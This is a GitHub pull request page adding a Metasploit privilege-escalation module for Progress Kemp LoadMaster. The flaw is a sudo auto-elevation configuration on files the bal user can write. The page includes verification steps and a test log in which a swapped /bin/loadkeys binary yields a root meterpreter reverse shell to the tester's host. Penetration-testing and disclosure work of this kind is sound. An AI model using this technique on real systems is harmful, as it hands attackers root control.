Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Kemp Progress Loadmaster sudo abuse priv esc #19100

Merged
merged 5 commits into from
May 10, 2024

Conversation

bwatters-r7
Copy link
Contributor

@bwatters-r7 bwatters-r7 commented Apr 17, 2024

This adds a privilege escalation module targeting Progress Kemp LoadMaster versions including 7.2.59.2.22338. The vulnerability lies in the configuration to allow sudo to auto elevate when run with certain files, but grants the non-root user bal write permissions to those file. This exploit simply overwrites one of the files that auto-elevates with /bin/bash and runs a payload within a root-enabled /bin/bash session.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Gain a session on a Progress Kemp Loadmaster target as the bal user
  • Do: use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024
  • Do: set SESSION <session>
  • Do: set LHOST <your host IP>
  • Do: run
  • You should get a shell as the root user.

Note

The easiest way to test this is in conjunction with #18972, which this was a part of until we realized that when they patched CVE-2024-1212, they did not patch this.

@bwatters-r7 bwatters-r7 added module rn-modules release notes for new or majorly enhanced modules labels Apr 17, 2024
@jheysel-r7 jheysel-r7 self-assigned this Apr 23, 2024
@bwatters-r7 bwatters-r7 force-pushed the module/loadmaster-priv-esc branch from 8071197 to 742326a Compare April 29, 2024 20:29
@bwatters-r7
Copy link
Contributor Author

All suggestions on #19150 should be addressed here, too....

@jheysel-r7 jheysel-r7 removed their assignment May 2, 2024
@smcintyre-r7 smcintyre-r7 self-assigned this May 9, 2024
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just left a couple of minor comments. I tested both the dropper and command targets successfully.

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes are looking good now, I'll go ahead and get this landed.

Testing Output
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options 

Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   SESSION        -1               yes       The session to run this module on
   TARGET_BINARY  /bin/loadkeys    yes       The path for a binary file that has permission to auto-elevate.
   WRITABLE_DIR   /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.31.129   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Dropper



View the full module info with the info, or info -d command.

metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE 
VERBOSE => false
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE true
VERBOSE => true
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run

[*] Started reverse TCP handler on 192.168.31.129:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 3 indicators this is a KEMP product
[!] The service is running, but could not be validated.
[*] Writing payload to /tmp/.ihcqxrugkuq
[*] Moving /bin/loadkeys to /tmp/.kfoikqlxhta
[*] Moving /tmp/.ihcqxrugkuq to /bin/loadkeys
[*] Running /bin/loadkeys
[+] Deleted /tmp/.ihcqxrugkuq
[*] Meterpreter session 2 opened (192.168.31.129:4444 -> 192.168.31.135:43420) at 2024-05-10 10:19:37 -0400
[*] Moving /tmp/.kfoikqlxhta to /bin/loadkeys
[+] /bin/loadkeys returned to original contents

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.31.135
OS           : SuSE 7.2 (Linux 4.14.137)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/
meterpreter > 

@smcintyre-r7 smcintyre-r7 merged commit 80fdde5 into rapid7:master May 10, 2024
34 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds a privilege escalation exploit module for LoadMaster that abuses the configuration of the sudo command combined with weak file system permissions. There is no CVE for this vulnerability.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants